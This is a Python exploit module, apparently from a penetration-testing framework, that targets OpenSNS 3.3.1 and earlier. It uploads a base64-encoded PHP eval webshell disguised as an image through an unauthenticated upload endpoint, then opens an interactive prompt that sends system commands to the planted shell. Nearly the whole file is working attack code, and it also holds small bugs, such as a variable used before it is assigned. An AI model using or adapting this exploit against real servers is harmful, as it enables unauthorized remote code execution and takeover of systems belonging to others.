#!/usr/bin/env python
# -*- coding: utf-8 -*-

import requests
import json

try:
    from core.log import Log
except Exception as e:
    import sys
    sys.path.append("../../core/log")
    from Log import Log

class Exploit:
    config = {
        "remote_host": {"default": "127.0.0.1", "necessity":True},
        "remote_port": {"default": 80, "necessity":True},
        "shell_pwd": {"default": "c", "necessity":True},
        "webshell": {"default": "<?php eval($_REQUEST[__PASSWORD__]);?>", "necessity":True},
        "interactive": {"default": True, "necessity":True}
    }
    webshell_url = ""

    def __init__(self):
        pass

    def exploit(self):
        remote_host = self.get_config("remote_host")
        remote_port = int(self.get_config("remote_port"))
        password = self.get_config("shell_pwd")
        webshell = self.get_config("webshell").replace("__PASSWORD__", password);
        url = "http://%s:%d/index.php?s=/Core/File/uploadPictureBase64.html" % (remote_host, remote_port)
        data = {
            'data': 'data:image/php;base64,%s' % (webshell.encode("base64").replace("\n", ""))
        }
        Log.Log.info("Data: %s" % (data))
        response = requests.post(url, data=data)
        content = response.content

        if content.startswith("{\"status\":") and content.endswith(".php\"}"):
            Log.Log.success("Exploit successfully!")
            Log.Log.success(success_json)
            success_json = json.loads(content)
            self.webshell_url = success_json['path'].replace("\\/", "/")
            if self.get_config(interactive) == True:
                self.interactive()
            return True
        Log.Log.error("Exploit failed!")
        return False

    def show_options(self):
        Log.Log.warning("Options\t\tNecessity\t\tDefault")
        Log.Log.warning("-------\t\t---------\t\t-------")
        for key in sorted(self.config.keys()):
            Log.Log.warning("%s\t\t%s\t\t\t%s" % (key, self.config[key]["necessity"], self.get_config(key)))

    def set_config(self, key, value):
        if key in self.config.keys():
            self.config[key]["default"] = value
        else:
            Log.Log.error("No such option!")

    def get_config(self, key):
        return self.config[key]["default"]

    def show_info(self):
        Log.Log.info("Name: OpenSNS(3.3.1) UnAuthenticated GetShell")
        Log.Log.info("Effected Version: <=3.3.1")
        Log.Log.info("Author: Unknown")
        Log.Log.info("Email: Unknown")
        Log.Log.info("Refer:")
        Log.Log.info("\thttps://forum.90sec.org/forum.php?mod=viewthread&tid=10250")

    def interactive(self):
        if self.webshell_url == "":
            Log.Log.error("Webshell is dead!")
            return
        while True:
            command = input("$ ")
            if command == "exit":
                break
            data = {
                self.get_config("shell_pwd"):"system(base64_decode('%s'));" % (command.encode("base64").replace("\n", ""))
            }
            print(data)
            try:
                Log.Log.success(requests.post(self.webshell_url, data=data).content)
            except Exception as e:
                Log.Log.error(str(e))
                return False


def main():
    exploit = Exploit()
    exploit.show_info()
    exploit.set_config("remote_host", "192.168.187.1")
    exploit.show_options()
    exploit.exploit()

if __name__ == "__main__":
    main()
